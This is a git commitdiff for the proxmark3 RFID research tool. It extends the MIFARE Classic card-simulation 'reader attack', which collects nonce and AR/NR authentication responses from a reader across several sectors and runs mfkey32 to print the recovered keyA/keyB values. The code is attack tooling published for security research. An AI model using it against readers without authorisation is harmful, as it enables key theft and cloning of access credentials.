]> git.zerfleddert.de Git - proxmark3-svn/commitdiff
improve hf mf sim x reader attack
authormarshmellow42 <marshmellowrf@gmail.com>
Wed, 22 Jun 2016 15:03:37 +0000 (11:03 -0400)
committermarshmellow42 <marshmellowrf@gmail.com>
Wed, 22 Jun 2016 15:03:37 +0000 (11:03 -0400)
can now directly extract multiple keys for multiple sectors

armsrc/BigBuf.h
armsrc/iso14443a.c
client/cmdhfmf.c

index 11e02c7ade8bf840ce3052c6e55512f7d89f311c..928c50c4d8ca9b3a341fb41186bf9ad7eae7d190 100644 (file)
@@ -12,6 +12,8 @@
 #ifndef __BIGBUF_H
 #define __BIGBUF_H
 
+#include <stdbool.h> // for bool
+#include "common.h"  // for ramfunc
 
 #define BIGBUF_SIZE                            40000
 #define MAX_FRAME_SIZE                 256             // maximum allowed ISO14443 frame
index 27574dad2601cceda2f59b785445a1915a958892..4f0a990f3df68276fdd38ccea44c2ef5dda250c3 100644 (file)
@@ -2307,6 +2307,18 @@ void ReaderMifare(bool first_try)
        set_tracing(FALSE);
 }
 
+typedef struct {
+  uint32_t cuid;
+  uint8_t  sector;
+  uint8_t  keytype;
+  uint32_t nonce;
+  uint32_t ar;
+  uint32_t nr;
+  uint32_t nonce2;
+  uint32_t ar2;
+  uint32_t nr2;
+} nonces_t;
+
 /**
   *MIFARE 1K simulate.
   *
@@ -2353,12 +2365,18 @@ void Mifare1ksim(uint8_t flags, uint8_t exitAfterNReads, uint8_t arg2, uint8_t *
        uint8_t rAUTH_NT[] = {0x01, 0x02, 0x03, 0x04};
        uint8_t rAUTH_AT[] = {0x00, 0x00, 0x00, 0x00};
                
-       //Here, we collect UID,NT,AR,NR,UID2,NT2,AR2,NR2
+       //Here, we collect UID,sector,keytype,NT,AR,NR,NT2,AR2,NR2
        // This can be used in a reader-only attack.
        // (it can also be retrieved via 'hf 14a list', but hey...
-       uint32_t ar_nr_responses[] = {0,0,0,0,0,0,0,0};
-       uint8_t ar_nr_collected = 0;
-
+       
+       //allow collecting up to 4 sets of nonces to allow recovery of 4 keys (2 keyA & 2 keyB)
+       // must be set in multiples of 2 (for 1 keyA and 1 keyB)
+       #define ATTACK_KEY_COUNT 4
+       nonces_t ar_nr_resp[ATTACK_KEY_COUNT]; 
+       memset(ar_nr_resp, 0x00, sizeof(ar_nr_resp));
+
+       uint8_t ar_nr_collected[ATTACK_KEY_COUNT];
+       memset(ar_nr_collected, 0x00, sizeof(ar_nr_collected));
        // Authenticate response - nonce
        uint32_t nonce = bytes_to_num(rAUTH_NT, 4);
        
@@ -2506,16 +2524,35 @@ void Mifare1ksim(uint8_t flags, uint8_t exitAfterNReads, uint8_t arg2, uint8_t *
 
                                uint32_t ar = bytes_to_num(receivedCmd, 4);
                                uint32_t nr = bytes_to_num(&receivedCmd[4], 4);
-
-                               //Collect AR/NR
-                               if(ar_nr_collected < 2){
-                                       if(ar_nr_responses[2] != ar)
-                                       {// Avoid duplicates... probably not necessary, ar should vary. 
-                                               ar_nr_responses[ar_nr_collected*4] = cuid;
-                                               ar_nr_responses[ar_nr_collected*4+1] = nonce;
-                                               ar_nr_responses[ar_nr_collected*4+2] = ar;
-                                               ar_nr_responses[ar_nr_collected*4+3] = nr;
-                                               ar_nr_collected++;
+       
+                               //Collect AR/NR per key/sector
+                               if(flags & FLAG_NR_AR_ATTACK) {
+                                       for (uint8_t i = 0; i < ATTACK_KEY_COUNT; i++) {
+                                               if(cardAUTHKEY > 0 && i < (ATTACK_KEY_COUNT/2) ) {
+                                                       i=ATTACK_KEY_COUNT/2;  //keyB skip to keyB
+                                               } else if (cardAUTHKEY == 0 && i == ATTACK_KEY_COUNT/2) {
+                                                       break; //should not get here - quit
+                                               }
+                                               // if first auth for sector, or matches sector of previous auth
+                                               if ( ar_nr_collected[i]==0 || (cardAUTHSC == ar_nr_resp[i].sector && ar_nr_collected[i] > 0) ) {
+                                                       if(ar_nr_collected[i] < 2) {
+                                                               if(ar_nr_resp[ar_nr_collected[i]].ar != ar)
+                                                               {// Avoid duplicates... probably not necessary, ar should vary. 
+                                                                       if (ar_nr_collected[i]==0) {
+                                                                               ar_nr_resp[i].cuid = cuid;
+                                                                               ar_nr_resp[i].sector = cardAUTHSC;
+                                                                               ar_nr_resp[i].nonce = nonce;
+                                                                               ar_nr_resp[i].ar = ar;
+                                                                               ar_nr_resp[i].nr = nr;
+                                                                       } else {
+                                                                               ar_nr_resp[i].ar2 = ar;
+                                                                               ar_nr_resp[i].nr2 = nr;
+                                                                       }
+                                                                       ar_nr_collected[i]++;
+                                                                       break;
+                                                               }
+                                                       }
+                                               }
                                        }
                                }
 
@@ -2537,6 +2574,7 @@ void Mifare1ksim(uint8_t flags, uint8_t exitAfterNReads, uint8_t arg2, uint8_t *
                                        break;
                                }
 
+                               //auth successful
                                ans = prng_successor(nonce, 96) ^ crypto1_word(pcs, 0, 0);
 
                                num_to_bytes(ans, 4, rAUTH_AT);
@@ -2780,37 +2818,29 @@ void Mifare1ksim(uint8_t flags, uint8_t exitAfterNReads, uint8_t arg2, uint8_t *
        FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
        LEDsoff();
 
-       if(flags & FLAG_INTERACTIVE)// Interactive mode flag, means we need to send ACK
-       {
-               //May just aswell send the collected ar_nr in the response aswell
-               cmd_send(CMD_ACK,CMD_SIMULATE_MIFARE_CARD,0,0,&ar_nr_responses,ar_nr_collected*4*4);
-       }
-
-       if(flags & FLAG_NR_AR_ATTACK)
+       if(flags & FLAG_NR_AR_ATTACK && MF_DBGLEVEL >= 1)
        {
-               if(ar_nr_collected > 1) {
-                       Dbprintf("Collected two pairs of AR/NR which can be used to extract keys from reader:");
-                       Dbprintf("../tools/mfkey/mfkey32 %08x %08x %08x %08x %08x %08x",
-                                       ar_nr_responses[0], // UID
-                                       ar_nr_responses[1], //NT
-                                       ar_nr_responses[2], //AR1
-                                       ar_nr_responses[3], //NR1
-                                       ar_nr_responses[6], //AR2
-                                       ar_nr_responses[7] //NR2
-                                       );
-               } else {
-                       Dbprintf("Failed to obtain two AR/NR pairs!");
-                       if(ar_nr_collected >0) {
-                               Dbprintf("Only got these: UID=%08x, nonce=%08x, AR1=%08x, NR1=%08x",
-                                               ar_nr_responses[0], // UID
-                                               ar_nr_responses[1], //NT
-                                               ar_nr_responses[2], //AR1
-                                               ar_nr_responses[3] //NR1
+               for ( uint8_t   i = 0; i < ATTACK_KEY_COUNT; i++) {
+                       if (ar_nr_collected[i] == 2) {
+                               Dbprintf("Collected two pairs of AR/NR which can be used to extract %s from reader for sector %d:", (i<ATTACK_KEY_COUNT/2) ? "keyA" : "keyB", ar_nr_resp[i].sector);
+                               Dbprintf("../tools/mfkey/mfkey32 %08x %08x %08x %08x %08x %08x",
+                                               ar_nr_resp[i].cuid,  //UID
+                                               ar_nr_resp[i].nonce, //NT
+                                               ar_nr_resp[i].ar,    //AR1
+                                               ar_nr_resp[i].nr,    //NR1
+                                               ar_nr_resp[i].ar2,   //AR2
+                                               ar_nr_resp[i].nr2    //NR2
                                                );
                        }
-               }
+               }       
        }
        if (MF_DBGLEVEL >= 1)   Dbprintf("Emulator stopped. Tracing: %d  trace length: %d ",    tracing, BigBuf_get_traceLen());
+
+       if(flags & FLAG_INTERACTIVE)// Interactive mode flag, means we need to send ACK
+       {
+               //May just aswell send the collected ar_nr in the response aswell
+               cmd_send(CMD_ACK,CMD_SIMULATE_MIFARE_CARD,0,0,&ar_nr_resp,sizeof(ar_nr_resp));
+       }
        
 }
 
index 48e78b1c2fcad2a74a90de187356d346ed54492c..df50441631fec0c1081d34405792c3ba5b954c2c 100644 (file)
@@ -9,6 +9,7 @@
 //-----------------------------------------------------------------------------\r
 \r
 #include "cmdhfmf.h"\r
+#include "./nonce2key/nonce2key.h"\r
 \r
 static int CmdHelp(const char *Cmd);\r
 \r
@@ -28,7 +29,7 @@ int CmdHF14AMifare(const char *Cmd)
        printf("-------------------------------------------------------------------------\n");\r
 \r
        \r
-start:\r
+ start:\r
     clearCommandBuffer();\r
     SendCommand(&c);\r
        \r
@@ -1079,6 +1080,64 @@ int CmdHF14AMf1kSim(const char *Cmd)
                        //We're waiting only 1.5 s at a time, otherwise we get the\r
                        // annoying message about "Waiting for a response... "\r
                }\r
+               //got a response\r
+               if (flags & FLAG_NR_AR_ATTACK) {\r
+                       typedef struct {\r
+                         uint32_t cuid;\r
+                         uint8_t  sector;\r
+                         uint8_t  keytype;\r
+                         uint32_t nonce;\r
+                         uint32_t ar;\r
+                         uint32_t nr;\r
+                         uint32_t nonce2;\r
+                         uint32_t ar2;\r
+                         uint32_t nr2;\r
+                       } nonces_t;\r
+                       nonces_t ar_resp[4];\r
+                       //uint32_t ar_responses[] = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};\r
+                       uint64_t key = 0;\r
+                       //uint64_t keyB = 0;\r
+                       //uint8_t arnr_len = 8;\r
+                       memcpy (ar_resp, resp.d.asBytes, sizeof(ar_resp));\r
+                       \r
+                       for (uint8_t i = 0; i<4; i++) {\r
+                               if (ar_resp[i].ar2 > 0) {\r
+                                       key = mfkey32(ar_resp[i].cuid,ar_resp[i].nonce,ar_resp[i].ar,ar_resp[i].nr,ar_resp[i].ar2,ar_resp[i].nr2);\r
+                                       if (key>0) {\r
+                                               PrintAndLog("\nFound Key%s for sector %d: [%04x%08x]", (i<2) ? "A" : "B", ar_resp[i].sector, (uint32_t) (key>>32), (uint32_t) (key &0xFFFFFFFF));\r
+                                               //set emulator memory for key\r
+                                       }       \r
+                               }\r
+                       }\r
+                       /*\r
+                       if (ar_resp[1] && ar_responses[2] && ar_responses[3] && ar_responses[6] && ar_responses[7]) {\r
+                               keyA = mfkey32(ar_responses[0],ar_responses[1],ar_responses[2],ar_responses[3],ar_responses[6],ar_responses[7]);\r
+                               if (keyA>0) {\r
+                                       PrintAndLog("\nFound KeyA: [%04x%08x]\n\n", (uint32_t) (keyA>>32), (uint32_t) (keyA &0xFFFFFFFF));\r
+                                       //set emulator memory for key\r
+                               } else {\r
+                                       keyA = mfkey32(ar_responses[0],ar_responses[1],ar_responses[2],ar_responses[3],ar_responses[6],ar_responses[7]);                        \r
+                                       if (keyA>0) {\r
+                                               PrintAndLog("\nFound KeyA: [%04x%08x]\n\n", (uint32_t) (keyA>>32), (uint32_t) (keyA &0xFFFFFFFF));\r
+                                               //set emulator memory for key\r
+                                       }\r
+                               }\r
+                       } else {\r
+                               PrintAndLog("keyA response error: %d %d %d %d %d",ar_responses[1] , ar_responses[2] , ar_responses[3] , ar_responses[6] , ar_responses[7]);\r
+                       }\r
+                       if (ar_responses[1] && ar_responses[2+arnr_len] && ar_responses[3+arnr_len] && ar_responses[6+arnr_len] && ar_responses[7+arnr_len]) {\r
+                               keyB = mfkey32(ar_responses[0],ar_responses[1],ar_responses[2+arnr_len],ar_responses[3+arnr_len],ar_responses[6+arnr_len],ar_responses[7+arnr_len]);\r
+                               if (keyB>0) {\r
+                                       PrintAndLog("\nFound KeyB: [%04x%08x]\n\n", (uint32_t) (keyB>>32), (uint32_t) (keyB & 0xFFFFFFFF));\r
+                                       //set emulator memory for key\r
+                               }\r
+                       }\r
+                       if (keyA || keyB) {\r
+                               //TODO retry sim with new keys in emulator memory? (somehow flag to check that to see if new key has successful auth now?)\r
+                               //      to validate key is correct\r
+                       }\r
+                       */\r
+               }\r
        }\r
        \r
        return 0;\r
Impressum, Datenschutz